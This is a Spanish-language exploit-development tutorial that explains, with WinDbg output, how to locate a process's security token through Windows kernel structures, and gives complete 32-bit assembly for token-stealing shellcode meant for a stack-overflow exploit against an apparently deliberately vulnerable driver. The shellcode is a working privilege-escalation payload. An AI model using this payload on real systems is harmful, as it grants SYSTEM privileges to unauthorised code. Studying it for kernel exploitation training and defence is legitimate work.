Shellcoding with tokens

• Sin WinDbg no se puede acceder tan facil al _EPROCESS para robar el token, se deberá buscar teniendo en cuenta que lo primero a lo que se llama es a **Kernel Processor Control Region (KPCR)** en el proceso en el que nos movamos.
• KPCR es una estructura de datos del kernel de Windows que se encarga de almacenar la información del proceso en el que nos encontremos. Se puede acceder al KPCR gracias a los registros de segmento **FS(x86)** y **GS(x86_64)**.
• Por lo tanto, para acceder al KPCR debemos tener en cuenta que en 32 bits se encuentra en `fs:[0]` y en 64 bits se encuentra en `gs:[0]`.

• Se puede observar la estructura con WinDbg.

☐ **`dg fs`**

```
0: kd> dg fs
                                    P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 82936c00 00003748 Data RW Ac 0 Bg By P  Nl 00000493
```

• La estructura KPCR se encuentra en la dirección `0x82936c00`.

☐ **`dt nt!_KPCR 0x82936c00`**

```
0: kd> dt nt!_KPCR 0x82936c00
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : 0x829330ac _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : (null)
   +0x008 Spare2           : (null)
   +0x00c TssCopy          : 0x801db000 Void
   +0x010 ContextSwitches  : 0x3c11c2
   +0x014 SetMemberCopy    : 1
   +0x018 Used_Self        : (null)
   +0x01c SelfPcr          : 0x82936c00 _KPCR
   +0x020 Prcb             : 0x82936d20 _KPRCB
   +0x024 Irql             : 0x1f ''
   +0x028 IRR              : 0
   +0x02c IrrActive        : 0
   +0x030 IDR              : 0xffffffff
   +0x034 KdVersionBlock   : 0x82935c00 Void
   +0x038 IDT              : 0x80b95400 _KIDTENTRY
   +0x03c GDT              : 0x80b95000 _KGDTENTRY
   +0x040 TSS              : 0x801db000 _KTSS
   +0x044 MajorVersion     : 1
   +0x046 MinorVersion     : 1
   +0x048 SetMember        : 1
   +0x04c StallScaleFactor : 0xe70
   +0x050 SpareUnused      : 0 ''
   +0x051 Number           : 0 ''
   +0x052 Spare0           : 0 ''
   +0x053 SecondLevelCacheAssociativity : 0 ''
   +0x054 VdmAlert         : 0
   +0x058 KernelReserved   : [14] 0
   +0x090 SecondLevelCacheSize : 0
   +0x094 HalReserved      : [16] 0x1000000
   +0x0d4 InterruptMode    : 0
   +0x0d8 Spare1           : 0 ''
   +0x0dc KernelReserved2  : [17] 0
   +0x120 PrcbData         : _KPRCB
```

• Dentro de la estructura KPCR se encuentra una subestructura en el offset `0x120` llamada **Kernel Processor Control Block (KPRCB)**, esta estructura contiene diversa información de la CPU, entre ella el hilo actual que está usando el proceso.

• Más en https://www.nirsoft.net/kernel_struct/vista/KPRCB.html.

☐ **dt nt!_KPRCB 0x82936c00+0x120**

```
0: kd> dt nt!_KPRCB 0x82936c00+0x120
   +0x000 MinorVersion     : 1
   +0x002 MajorVersion     : 1
   +0x004 CurrentThread    : 0x82940380 _KTHREAD
   +0x008 NextThread       : (null)
   +0x00c IdleThread       : 0x82940380 _KTHREAD
   +0x010 LegacyNumber     : 0 ''
   +0x011 NestingLevel     : 0x1 ''
   +0x012 BuildType        : 0
   +0x014 CpuType          : 6 ''
   +0x015 CpuID            : 1 ''
   +0x016 CpuStep          : 0x9e0a
   +0x016 CpuStepping      : 0xa ''
   +0x017 CpuModel         : 0x9e ''
   +0x018 ProcessorState   : _KPROCESSOR_STATE
   +0x338 KernelReserved   : [16] 0
   +0x378 HalReserved      : [16] 0xa69600
   +0x3b8 CFlushSize       : 0x40
```

• Como se puede observar **CurrentThread** se encuentra en el offset `0x004` de KPRCB, la estructura **CurrentThread** contiene información del hilo actual, como bien lo indica el nombre, pero esta estructura nos interesa realmente porque contiene otra estructura que nos da información sobre el proceso actual.
• Debemos tener en cuenta que la estructura **CurrentThread** se encuentra en un offset de `0x124` desde KPCR (por lo tanto **fs:[0x124]**).

☐ **dt nt!_KTHREAD 0x82936c00+0x120+0x4**

```
   +0x13a PreviousMode     : -110 ''
   +0x13b Saturation       : -125 ''
   +0x13c SystemCallNumber : 0x1000
   +0x140 FreezeCount      : 0x200
   +0x144 UserAffinity     : _GROUP_AFFINITY
   +0x150 Process          : (null)
   +0x154 Affinity         : _GROUP_AFFINITY
   +0x160 IdealProcessor   : 0x4000001
   +0x164 UserIdealProcessor : 0x40000
   +0x168 ApcStatePointer  : [2] 0x00001000 _KAPC_STATE
   +0x170 SavedApcState    : _KAPC_STATE
   +0x170 SavedApcStateFill : [23]  ""
```

• Si nos fijamos, podemos ver la subestructura **Process** en el offset `0x150`, pero WinDbg no es capaz de mostrarnos que tipo de estructura es. Buscando en la documentación (https://www.nirsoft.net/kernel_struct/vista/KTHREAD.html) se puede ver que el tipo de estructura es **KPROCESS**.

```
PVOID ServiceTable;
UCHAR ApcStateIndex;
CHAR BasePriority;
CHAR PriorityDecrement;
UCHAR Preempted;
UCHAR AdjustReason;
CHAR AdjustIncrement;
UCHAR Spare01;
CHAR Saturation;
ULONG SystemCallNumber;
ULONG Spare02;
ULONG UserAffinity;
PKPROCESS Process;
ULONG Affinity;
PKAPC_STATE ApcStatePointer[2];
```

• Esta estructura es importante porque es la misma subestructura que encontramos en **EPROCESS**, cuyo offset es `0x000`.

☐ **`dt nt!_EPROCESS`**

```
0: kd> dt nt!_EPROCESS
   +0x000 Pcb                : _KPROCESS
   +0x098 ProcessLock        : _EX_PUSH_LOCK
   +0x0a0 CreateTime         : _LARGE_INTEGER
   +0x0a8 ExitTime           : _LARGE_INTEGER
   +0x0b0 RundownProtect     : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId    : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 ProcessQuotaUsage  : [2] Uint4B
   +0x0c8 ProcessQuotaPeak   : [2] Uint4B
   +0x0d0 CommitCharge       : Uint4B
```

• Por lo tanto, de nuevo tenemos localizado el token del proceso para poder modificarlo, ahora debemos escribir el shellcode que realice todo esto y sea capaz de robar el token de un proceso privilegiado.

• Para comenzar con el shellcode, se debe guardar el estado de los registros en la pila al comienzo de la ejecución del shellcode para que al finalizar se puede restaurar el estado anterior a la ejecución y así evitar BSoDs.
• Luego se deberá guardar en un registro **EPROCESS** actual, para ello se aplica que la estructura **KPCR** se encuentra en `fs:[0]`, el offset de la estructura **KPRCB** es `0x120`, el offset de la estructura **KTHREAD** es `0x004` y el offset de la estructura **KPROCESS** (EPROCESS) es `0x150`.
• La suma de los offsets sería la distancia que hay desde **KPCR** a **EPROCESS**, por lo tanto el offset total hasta EPROCESS es `fs:0x274`.

```
_start:                         ; Entry point
  pushad                        ; Saving current registers in the stack
  xor eax, eax                  ; Cleaning EAX register
  mov eax, dword [fs:0x274]     ; Grab EPROCESS structure at offset 0x274 (0x120 + 0x4 + 0x150)
  mov ecx, eax                  ; Saving EPROCESS in ECX register
```

• A continuación se debe buscar un proceso que contenga un token con privilegios, para ello nos basta con buscar el proceso que tengo el PID 4 que es el proceso "System" ya que siempre va a tener un token con privilegios.
• Para llevar a cabo esto, debemos tener en cuenta que en el offset `0x0b8` desde **EPROCESS** existe una lista doblemente enlazada de procesos activos (`ActiveProcessLinks : _LIST_ENTRY`) , lo que quiere decir que a través de ella podemos movernos entre los diferentes procesos activos de una forma cíclica hasta encontrar el proceso con PID 4.
• Para comprobar si el proceso ante el que nos encontramos tiene un PID = 4, también debemos tener en cuenta que en el offset `0x0b4` existe un identificador que contiene el PID del proceso (`UniqueProcessId : Ptr32 Void`), con este valor

compararemos el PID 4 buscado.

```
loop_search:
  mov eax, dword [eax + 0xb8]     ; Saves the following double-linked list structure in EAX
  sub eax, 0xb8                   ; Place the following EPROCESS in EAX
  cmp dword [eax + 0xb4], 0x004   ; Compare current process PID (UniqueProcessId) with system PID
  jnz loop_search
```

• Tras haber encontrado el proceso con privilegios elevados, se debe realizar la copia del token privilegiado sobre el token del EPROCESS no privilegiado.
• Primero aplicaremos la máscara `0xFFFFFFF8` sobre el token con privilegios para mantener el parametro RefCnt del proceso original evitando algún tipo de inestabilidad.
• Tras aplicar la máscara extraeremos los 3 bits menos significativos del token no privilegiado (el que queremos modificar) que será el valor del parametro RefCnt, y se lo añadimos al token con privilegios.
• Por último copiamos el token con privilegios en la estructura token del EPROCESS que deseamos elevar privilegios.

```
token_stealing:
  mov edx, dword [eax + 0x0f8]    ; Saving privileged token in EDX register
  mov ebx, dword [ecx + 0x0f8]    ; Saving current EPROCESS token in EBX
  and edx, 0xFFFFFFF8             ; Applying the mask over the privileged token
  and ebx, 0x7                    ; Getting the RefCnt field
  or edx, ebx                     ; Adding the current RefCnt field to the privileged token
  mov dword [ecx + 0x0f8], edx    ; Copy the privileged token in the current EPROCESS
```

• A continución se restaura el estado inicial de los registros extrayendo sus valores correspondientes de la pila.
• Posteriormente vaciamos el registro EAX para crear un código de NTSTATUS = 0, que significa que la función se realizó correctamente (https://msdn.microsoft.com/en-us/library/cc704588.aspx).
• Restauramos EBP y retornamos al flujo normal de ejecución (eliminando 8 bytes de la pila).

```
restore:
  popad                           ; Restoring registers from the stack
  xor eax, eax                    ; Set NT_STATUS_SUCCESS
  pop ebp
  ret 8
```

• El motivo real de usar estas dos ultimas instrucciones es porque al tener como objetivo desbordar la función **TriggerStackOverflow** el resto de instrucciones tras ella no se van ejecutar, por ello colocar estás dos instrucciones al finalizar para que siga el flujo normal del programa tras el desbordamiento.

```
StackOverflowIoctlHandler proc near     ; CODE XREF: IrpDeviceIoCtlHandler+A3↓p

arg_4           = dword ptr  0Ch

                mov     edi, edi
                push    ebp
                mov     ebp, esp
                mov     ecx, [ebp+arg_4]
                mov     edx, [ecx+10h]
                mov     ecx, [ecx+8]
                mov     eax, 0C0000001h
                test    edx, edx
                jz      short loc_14640
                push    ecx             ; size_t
                push    edx             ; Address
                call    TriggerStackOverflow

loc_14640:                              ; CODE XREF: StackOverflowIoctlHandler+15↑j
                pop     ebp
                retn    8
StackOverflowIoctlHandler endp
```